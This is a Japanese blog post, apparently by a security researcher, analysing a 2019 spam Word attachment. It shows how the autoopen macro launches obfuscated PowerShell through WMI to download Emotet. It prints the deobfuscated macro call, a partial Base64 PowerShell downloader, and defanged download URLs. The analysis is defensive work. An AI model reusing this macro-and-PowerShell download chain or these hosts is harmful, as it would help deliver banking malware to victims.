2019/04/12(金) 添付ファイル付不審メールの難読化の調査

4/12に国内でばら撒かれたメールに添付されたWordファイルのマクロおよびPowerShellの難読化について調査しました。難読化自体は簡易的なものでしたが、調査方法のメモ代わりに記載しておこうと思います。

なお、解析するときはネットワークを遮断する、感染しても問題ない環境で行うなど、注意して解析をお願いします。
実際にマルウェアに感染することも想定されますので、意味が分からない場合は実施せず、解析を実施する場合も自己責任でお願いします。


1. Wordファイルのマクロについて
今回の添付されていた Wordファイルはマクロが仕込まれており、実行するとwmiprvse.exeによりPowerShell が実行されます。
マクロ自体はWordファイルを開いた後、「表示」>「マクロ」>「編集」から中身を確認することが出来ます。今回のマクロは「autoopen」と言う名前で登録されていました。

f:id:bankingmalware:20190414212147p:plain

マクロは以下のような形式で難読化されています。

f:id:bankingmalware:20190414212323p:plain

一見、複雑に難読化されているように見受けられますが、ほとんどが意味のない条件や変数となっています。これは、デバックのF8でステップインしていき、変数の中身や条件分岐の様子を見ることで確認することができます。
※実際に処理が実行されますので、注意してください。

f:id:bankingmalware:20190414212500p:plain

f:id:bankingmalware:20190414212539p:plain
※いくつかの変数を確認したところ、ほとんどの値が Emptyでした。

ダミーの多い中、攻撃に使われているものは以下の箇所となります。
<攻撃箇所>
GetObject("winm" + "gmts:Win32_Process").Create icAAZoX.VCAwAAB_.PasswordChar + BoUwUUXG.c_AAXoQB + icAAZoX.VCAwAAB_ + BoUwUUXG.BBXcQUD + icAAZoX.VCAwAAB_.ControlSource + icAAZoX.VCAwAAB_.PasswordChar + BoUwUUXG.ucAQAAUk + icAAZoX.VCAwAAB_.ControlTipText + icAAZoX.VCAwAAB_.ControlTipText + BoUwUUXG.OUUQACD + icAAZoX.VCAwAAB_.ControlTipText + BoUwUUXG.JkoAACxU + icAAZoX.VCAwAAB_.PasswordChar, pGDAA_, TA1_GU, icAAZoX.VCAwAAB_.ControlSource

実際には一部の変数に文字列が格納されており、見やすくすると以下のようになります。
<攻撃箇所>
GetObject("winmgmts:Win32_Process").Create  powershell -e "JABCAEEAQQBaAFgAQQBEAD0AKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAQQAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcARABBACcALAAnAHQAYwB3ACcAKQApADsAJABMAGMAYwBRADEAQQAgAD0AIAAnADQAOAAwACcAOwAkAFoAeABjAHgAMQB4AEcAPQAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBPAEcAJwAsACgAIg ~省略~

本構文により、wmiprvse.exeを経由して、PowerShell を呼び出していると思われます。

2. PowerShell の難読化
1 で実行された Wordのマクロを経由して以下のスクリプトPowerShellで実行されます。
<実行されるPowerShell>
PoWeRsHelL  -e JABCAEEAQQBaAFgAQQBEAD0AKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAQQAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcARABBACcALAAnAHQAYwB3A ~省略~

powershell のオプションである -e  はbase64 エンコードされた文字列をデコードするものであり、-EncodedCommand と同等のオプションとして扱われます。
-e 以降の文字列はBase64エンコードされているため、デコードを行うと以下のようになります。
<Base64でのデコード後>
powershell -e $BAAZXAD=("{1}{0}"-f'A',("{1}{0}"-f'DA','tcw'));$LccQ1A = '480';$Zxcx1xG=("{0}{2}{1}"-f'OG',("{0}{1}" -f 'B',("{0}{1}"-f 'A','BGA')),'U');$zwBAAAQ=$env:userprofile+'\'+$LccQ1A+("{0}{1}" -f 'e','xe');$zQA_CB=("{0}{1}"-f'A',("{1}{0}"-f("{1}{0}" -f'BA','AZ'),'cX'));$VDw4ADUA=('new-obj'+'ec'+'t') NeTweBCLiEnt;$iQBAco=("{32}{22}{12}{4}{26}{9}{13}{29}{0}{20}{2}{27}{28}{6}{18}{23}{5}{35}{8}{21}{11}{34}{7}{1}{16}{17}{24}{36}{14}{10}{30}{33}{31}{15}{25}{3}{19}" -f ("{1}{0}"-f '@','RH/'),'q',("{1}{2}{3}{0}" -f ("{1}{0}" -f 'ico','m'),'p:','/','/fu'),("{4}{0}{5}{2}{1}{3}" -f'q',("{0}{1}"-f'P','Hsz'),'R',("{2}{0}{1}"-f'fF/d','w','-'),'s',("{2}{1}{0}" -
~省略~

難読化されていますが、配列を並び替えるだけの難読化となっています。通信先は $iQBAco 格納されているため、$iQBAco の箇所をPowershell で実行します。
その後、$iQBAco をecho コマンドで実行することで今回の通信先を確認することができます。

f:id:bankingmalware:20190414221912p:plain

この通信先については バンキングマルウェアの解析をブログに書いている bomさんが記載されているものと同様になります。
https://bomccss.hatenablog.jp/entry/2019/04/13/033005

<通信先>
hxxp://aussiescanners[.]com/forum/1IXQRH/
hxxp://fumicolcali[.]com/wblev-6pox5-vpckk/4ih2/
hxxp://azedizayn[.]com/26192RX/qW/
hxxps://sundarbonit[.]com/cgi-bin/mlEH/
hxxp://aupa[.]xyz/hJPug-2q3uyQ3NsqIgkO_tdeRPHsz-fF/dwvK/

これ以降の動きはこのブログでも書いた通り、バンキングマルウェアのEmotetへ感染していきます。
https://bankingmalware.hatenablog.com/entry/2019/04/12/193744

何か誤っている情報などありましたら、twitterで連絡してもらえると助かります。
マクロおよびpowershell の難読化についての調査は以上となります。